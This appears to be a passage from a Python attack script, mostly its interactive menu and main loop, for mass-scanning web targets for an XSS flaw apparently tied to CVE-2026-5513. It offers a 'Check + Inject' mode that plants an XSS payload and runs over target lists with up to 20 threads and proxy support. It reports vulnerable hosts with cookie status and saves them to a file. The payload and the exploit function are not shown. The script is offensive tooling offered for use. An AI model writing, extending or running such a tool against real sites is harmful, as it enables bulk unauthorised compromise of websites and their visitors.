    print(f"  {BD}{C}  [1]{RS} {W}Check Only{RS}       {DM}-- detect + test reflection{RS}")
    print(f"  {BD}{Y}  [2]{RS} {W}Check + Inject{RS}   {DM}-- check + inject XSS payload{RS}")
    print()

    try:
        mi = input(f"  {BD}{Y}  >> Mode [1/2]: {RS}").strip()
    except (EOFError, KeyboardInterrupt):
        print(f"\n  {R}Cancelled.{RS}")
        sys.exit(0)

    mode = "inject" if mi == "2" else "check"

    payload = DEFAULT_PAYLOAD
    if mode == "inject":
        print()
        print(f"  {BD}{W}  XSS PAYLOAD{RS}")
        print(f"  {DM}{'-'*56}{RS}")
        print(f"  {DM}  Default: {DEFAULT_PAYLOAD}{RS}")
        try:
            custom = input(f"  {BD}{Y}  >> Custom payload (Enter=default): {RS}").strip()
            if custom:
                payload = custom
        except (EOFError, KeyboardInterrupt):
            pass

    print()
    print(f"  {BD}{W}  TARGET INPUT{RS}")
    print(f"  {DM}{'-'*56}{RS}")
    print(f"  {BD}{C}  [1]{RS} {W}Single target{RS}")
    print(f"  {BD}{C}  [2]{RS} {W}List file{RS}        {DM}-- one URL per line{RS}")
    print()

    try:
        ti = input(f"  {BD}{Y}  >> Input [1/2]: {RS}").strip()
    except (EOFError, KeyboardInterrupt):
        sys.exit(0)

    targets = []
    if ti == "2":
        try:
            lf = input(f"  {BD}{Y}  >> File path: {RS}").strip()
        except (EOFError, KeyboardInterrupt):
            sys.exit(0)
        targets = load_targets(lf)
    else:
        try:
            single = input(f"  {BD}{Y}  >> Target (URL/IP): {RS}").strip()
        except (EOFError, KeyboardInterrupt):
            sys.exit(0)
        if single:
            targets.append(single)

    if not targets:
        print(f"\n  {BD}{R}  [!] No targets{RS}")
        sys.exit(1)

    max_threads = 1
    if len(targets) > 1:
        try:
            ti = input(f"\n  {BD}{Y}  >> Threads [1-20] (default=5): {RS}").strip()
            max_threads = min(int(ti), 20) if ti.isdigit() else 5
        except (EOFError, KeyboardInterrupt):
            max_threads = 5

    return targets, mode, payload, max_threads


# ─────────── Main ───────────

def main():
    # Check if CLI args provided
    if len(sys.argv) > 1:
        args = parse_args()
        banner()

        if args.url:
            targets = [args.url.strip()]
            if not targets[0]:
                log_error("URL tidak valid")
                sys.exit(1)
        else:
            targets = load_targets(args.list)

        mode = "inject" if args.inject else "check"
        payload = args.payload
        n_threads = min(args.threads, len(targets))
        proxy = args.proxy
        output_file = args.output
        verbose = args.verbose
    else:
        # Interactive menu
        targets, mode, payload, n_threads = interactive_menu()
        proxy = None
        output_file = None
        verbose = True

    total = len(targets)
    stats["total"] = total
    show_progress = not verbose and total > 1

    # Print config
    print()
    print(f"  {BD}{'═'*60}{RS}")
    print(f"  {W}Mode       :{RS} {BD}{C}{mode.upper()}{RS}")
    print(f"  {W}Targets    :{RS} {BD}{total}{RS}")
    print(f"  {W}Threads    :{RS} {BD}{n_threads}{RS}")
    if mode == "inject":
        print(f"  {W}Payload    :{RS} {Y}{payload[:50]}{'...' if len(payload) > 50 else ''}{RS}")
    if proxy:
        print(f"  {W}Proxy      :{RS} {proxy}")
    if output_file:
        print(f"  {W}Output     :{RS} {output_file}")
    print(f"  {W}Started    :{RS} {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"  {BD}{'═'*60}{RS}")
    print()

    # Confirmation
    try:
        c = input(f"  {BD}{Y}  >> Start? [Y/n]: {RS}").strip().lower()
    except (EOFError, KeyboardInterrupt):
        sys.exit(0)
    if c == "n":
        sys.exit(0)

    start_time = time.time()

    if n_threads <= 1 or total == 1:
        for t in targets:
            try:
                exploit_target(t, mode, payload, proxy, output_file, verbose)
            except KeyboardInterrupt:
                print(f"\n  {Y}  Interrupted{RS}")
                break
            except Exception as e:
                log_error(f"Error: {e}", t)
                with results_lock:
                    stats["error"] += 1
                    stats["done"]  += 1
    else:
        task_queue = queue.Queue()
        for t in targets:
            task_queue.put(t)

        threads = []
        for _ in range(n_threads):
            th = threading.Thread(
                target=worker,
                args=(task_queue, mode, payload, proxy,
                      output_file, verbose, show_progress),
                daemon=True,
            )
            th.start()
            threads.append(th)

        try:
            for th in threads:
                th.join()
        except KeyboardInterrupt:
            print(f"\n  {Y}  Shutting down...{RS}")

    elapsed = time.time() - start_time

    if show_progress:
        print()

    # ── Final Results ──
    print()
    print(f"  {BD}{'═'*60}{RS}")
    print(f"  {BD}{G}SELESAI{RS}  —  {elapsed:.1f} detik")
    print(f"  {BD}{'═'*60}{RS}")
    print()
    print(f"  {W}Total       :{RS} {stats['total']}")
    print(f"  {G}{BD}Vulnerable  : {stats['vuln']}{RS}")
    print(f"  {M}{BD}Injected    : {stats['injected']}{RS}")
    print(f"  {W}Safe        :{RS} {stats['safe']}")
    print(f"  {Y}Errors      :{RS} {stats['error']}")
    print(f"  {BD}{'═'*60}{RS}")

    if vuln_list:
        print()
        print(f"  {M}{BD}[ VULNERABLE TARGETS ]{RS}")
        print(f"  {'─'*60}")
        for entry in vuln_list:
            print(f"  {G}{BD}URL     :{RS} {entry['url']}")
            print(f"  {G}Version :{RS} {entry.get('version') or 'unknown'}")
            print(f"  {G}Page    :{RS} {entry['page']}")
            print(f"  {G}Context :{RS} {entry['context']}")
            print(f"  {G}Cookie  :{RS} {'enabled' if entry['cookie_enabled'] else 'unknown'}")
            print(f"  {'─'*60}")

        # Auto-save vuln results
        ts = datetime.now().strftime("%Y%m%d_%H%M%S")
        auto_out = f"vuln_CVE-2026-5513_{ts}.txt"
        with open(auto_out, "w", encoding="utf-8") as f:
            for entry in vuln_list:
                f.write(
                    f"{entry['url']} | v{entry.get('version') or '?'} | "
                    f"page={entry['page']} | ctx={entry['context']}\n"
                )
        print(f"\n  {G}{BD}  [+] Saved: {auto_out}{RS}")

    else:
        print(f"\n  {Y}Tidak ada target vulnerable.{RS}")

    print()


if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n  {R}  Aborted{RS}\n")
        sys.exit(0)

    try:
        input(f"  {BD}{W}  Press Enter to exit...{RS}")
    except (EOFError, KeyboardInterrupt):
        pass